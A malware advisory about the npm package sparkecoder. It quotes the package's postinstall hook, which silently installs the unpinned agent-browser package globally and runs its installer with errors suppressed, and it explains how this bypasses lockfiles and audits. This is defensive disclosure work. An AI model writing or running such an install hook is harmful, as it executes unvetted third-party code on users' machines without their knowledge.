MAL-2026-4673 Malicious code in sparkecoder (npm)

package.json declares a postinstall hook: "npm install -g agent-browser 2>/dev/null || true; agent-browser install 2>/dev/null || true". On npm install sparkecoder, this fetches whatever the current 'latest' version of the separate agent-browser package is on the npm registry, installs it globally (typically requiring elevated privileges), then invokes agent-browser install to run that package's own install-time logic. Both stderr and non-zero exit codes are suppressed (2>/dev/null || true), hiding any failure or output from the installer. The behavior is undocumented in the README. Because the dependency is unpinned and pulled transitively through a side channel (not via package.json dependencies), the installer's trust in sparkecoder is silently extended to whatever agent-browser ships today and at any future moment, with no version lock and no audit trail in the dependency tree. This is the namespace-abuse shape: sparkecoder itself is small, but installing it causes attacker- or third-party-controlled code from another package to execute on the installer's machine at install time, outside the normal dependency-resolution surface that lockfiles and audit tools inspect.